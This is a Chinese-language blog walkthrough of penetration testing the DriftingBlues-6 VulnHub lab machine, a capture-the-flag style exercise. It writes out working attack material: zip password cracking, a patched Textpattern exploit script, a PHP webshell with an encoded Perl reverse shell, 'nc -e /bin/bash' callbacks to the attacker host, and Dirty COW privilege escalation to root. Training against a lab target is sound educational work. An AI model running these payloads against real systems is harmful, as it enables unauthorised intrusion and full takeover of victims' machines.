对DriftingBlues-6靶机进行渗透测试

目录

环境信息

渗透测试

一、 信息收集

1、打开kali,查看kali的IP地址和子网掩码

2、使用netdiscover扫描主机

3、使用nmap扫描靶机,看有什么服务是可利用的(端口扫描)

4、访问网页,查看基本信息

二、 漏洞查找与利用

1、方法一:登陆后台获取版本号,利用版本漏洞脚本getshell

2、方法二:后台上传木马getshell

三、提权

1、使用命令查看是否有suid的提权的命令

2、利用linpeas.sh收集内网的信息与漏洞

3、利用dirtycow 2进行本地提权,获得root权限,得到flag

参考文章


环境信息

靶机:DriftingBlues-6,IP地址:192.168.52.152

攻击机:Kali,IP地址:192.168.52.134

下载: https://download.vulnhub.com/driftingblues/driftingblues6_vh.ova

渗透测试

一、 信息收集

1、打开kali,查看kali的IP地址和子网掩码

因为靶机和kali现在属于同一个网段,查看kali的IP和子网掩码是为了获得靶机的网段

靶机的网段是:192.168.52.0/24

2、使用netdiscover扫描主机

netdiscover -i eth0 -r 192.168.52.0/24
##netdiscover: -i 指定网卡 -r 指定网段

也可以使用nmap进行主机发现,

nmap -sP 192.168.52.0/24

在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址

或使用arp-scan -l命令拿到靶机的IP地址

arp-scan -l

获得靶机靶机ip:192.168.52.152

3、使用nmap扫描靶机,看有什么服务是可利用的(端口扫描)

root@kali:~# nmap -sV -A 192.168.52.152
-sV只扫描端口及其版本号
-A扫描端口的详细信息

目标靶机只开放了80(HTTP服务),但靶机内核过低,可能会有内核漏洞

4、访问网页,查看基本信息

使用Firefox插件Wappalyzer,或者扫描网站目录,查看robots.txt等暴露出的信息,可以获取到网站相关信息

使用浏览器插件Wappalyzer,检测网站的CMS,框架,服务器等信息

没有检测到CMS信息

利用dirsearch进行网站目录扫描:

dirsearch -u 192.168.52.152 -e * -i 200
-i 状态码    只显示该状态码
-x 状态码    不显示该状态码

目录扫描得到/robots.txt

访问http://192.168.52.152/robots.txt,发现robots.txt下有一个不让访问的,进去看看

访问http://192.168.52.152/textpattern/textpattern/,是一个登录页面,而且CMS是textpattern,不过不知到版本

使用更厉害的目录扫描工具:gobuster

安装命令:apt install gobuster

开始扫描:

gobuster dir -u http://192.168.52.152 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,zip

发现除了/robots.txt,还发现了/spammer.zip

下载到本地,尝试打开发现有密码

方法一:

拖到kali中,将压缩包中的hash提取出来转为john可以识别的格式然后保存为hash文件,命令: zip2john spammer.zip|tee hash

使用 john 开始破解:john --wordlist=rockyou.txt hash,其中rockyou.txt文件由/usr/share/wordlists/rockyou.zip文件解压得到

成功拿到解压密码:myspace4

解压文件后,打开文件后查看文件内容得到账户密码:mayer:lionheart

方法二:

使用fcrackzip工具,暴力破解

安装:apt install fcrackzip

使用命令:fcrackzip -D -p rockyou.txt -u spammer.zip

其中rockyou.txt文件由/usr/share/wordlists/rockyou.zip文件解压得到

得到解压密码:myspace4

使用unzip工具解压spammer.zip,得到一组用户名密码:mayer:lionheart

二、 漏洞查找与利用

1、方法一:登陆后台获取版本号,利用版本漏洞脚本getshell

访问:http://192.168.52.152/textpattern/textpattern/,登录后台

登录进去后再页脚发现了CMS的版本为4.8.3

kali本地搜索漏洞:searchsploit textpattern 4.8.3

 尝试利用一下其中的模块,完整path:

/usr/share/exploitdb/exploits/php/webapps/48943.py

利用cp命令拷贝到桌面

cp /usr/share/exploitdb/exploits/php/webapps/48943.py /root/桌面/48943.py

打开该文件

执行该脚本文件,却发现报错:

python 48943.py http://192.168.52.152 mayer lionheart

仔细查看代码,发现url需要加上textpattern,重新执行该脚本:

python 48943.py http://192.168.52.152/textpattern mayer lionheart

从输出结果看,这次执行代码可以成功验证,但是却报错NoneType没有replace属性,这表明soup提取信息有问题,解决方法:人工方式先确认好信息,即通过浏览器提交,然后查看返回页面,发现目标script应当下标应当是3,因此修改48943.py脚本文件第89行代码为:

scriptJS = soup.find_all("script")[3].string.replace("var textpattern = ", "")[:-2]

重新执行该脚本,成功执行获得webshell:

python 48943.py http://192.168.52.152/textpattern mayer lionheart

 这种shell利用起来不太方便,所以可以查看目标主机是否存在nc,如果存在可以反弹一个新的shell

 目标主机存在nc,首先kali进行监听

nc -lvvp 4444

 然后目标主机执行反弹shell的命令:

nc -e /bin/bash 192.168.52.134 4444

 反弹shell成功:

 利用python获得交互式shell:

python -c "import pty;pty.spawn('/bin/bash')"

2、方法二:后台上传木马getshell

查找可以写入shell的地方,发现content下面的files能上传文件,上传我们的木马

上传shell.php,内容如下:

<?php
function which($pr) {
	$path = execute("which $pr");
	return ($path ? $path : $pr);
	}
function execute($cfe) {
	$res = '';
	if ($cfe) {
		if(function_exists('exec')) {
			@exec($cfe,$res);
			$res = join("\n",$res);
			} 
			elseif(function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
			} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

上传成功

 成功上传后,没有显示路径,在管理界面找到了上传文件的路径

 之后,kali进行监听

nc -lvvp 4444

 浏览器访问:http://192.168.52.152/textpattern/files/shell.php

反弹shell成功

获得交互shell:

python -c 'import pty; pty.spawn("/bin/bash")'

三、提权

1、使用命令查看是否有suid的提权的命令

进入根目录,寻找提权点: sudo -l

 发现sudo命令用不了

使用find查看具有s权限文件

find / -perm -u=s -type f 2>/dev/null

 没有可以利用的信息

2、利用linpeas.sh收集内网的信息与漏洞

利用一下linpeas.sh信息收集一波

linpeas.sh可在内网中扫描内网主机的信息,包括IP,存在的漏洞等敏感信息,枚举linux操作系统几乎所有的可提权项

首先下载至kali机:利用wget命令进行下载

下载链接:https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

之后攻击机开启http服务:python3 -m http.server 8080

访问http://192.168.52.134:8080/

在靶机中利用wget下载linpeas.sh文件:

命令:wget http://192.168.52.134:8080/linpeas.sh

下载成功:

 然后先赋权,再执行linpeas.sh脚本文件:

命令:chmod 777 linpeas.sh

命令:./linpeas.sh

 查看执行结果,发现发现脏牛漏洞(Dirty COW ),我们可以利用dirtycow 2进行本地提权:

3、利用dirtycow 2进行本地提权,获得root权限,得到flag

linpeas.sh输出结果中有利用脚本40839.c的下载链接:

https://www.exploit-db.com/download/40839

首先将脚本下载到Kali Linux本地,下载成功,查看一下脚本内容:

 脚本内容显示,脚本运行时会生成一个新的root账户,默认用户名为:firefart,密码需要自己输入,另外脚本的编译命令: gcc -pthread dirty.c -o dirty -lcrypt中使用的是dirty.c脚本名,我们需要改为: gcc -pthread 40839.c -o dirty -lcrypt

 然后上传到目标主机的/tmp目录下,按照脚本中所描述的步骤进行编译,然后执行,从而拿到了root权限

在靶机中利用wget下载linpeas.sh文件:

命令:wget http://192.168.52.134:8080/40839.c

下载成功:

 编译执行40839.c脚本:

gcc -pthread 40839.c -o dirty -lcrypt
chmod +x dirty
./dirty

 显示成功,会增加一个 root 账户:firefart,密码是 123456

切换一下用户,发现成功拿到root权限,并在root目录下找到flag

参考文章

Vulnhub之Driftingblues 6靶机详细解题过程(包含修改从网上修改利用代码的过程):

https://www.cnblogs.com/jason-huawen/p/16909055.html

靶机渗透练习06-driftingblues6:

靶机渗透练习06-driftingblues6_dmcrypt-get-device_hirak0的博客-CSDN博客

driftingblues6靶机(脏牛漏洞):

driftingblues6靶机(脏牛漏洞)_exploit-db_魏钦6666的博客-CSDN博客

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值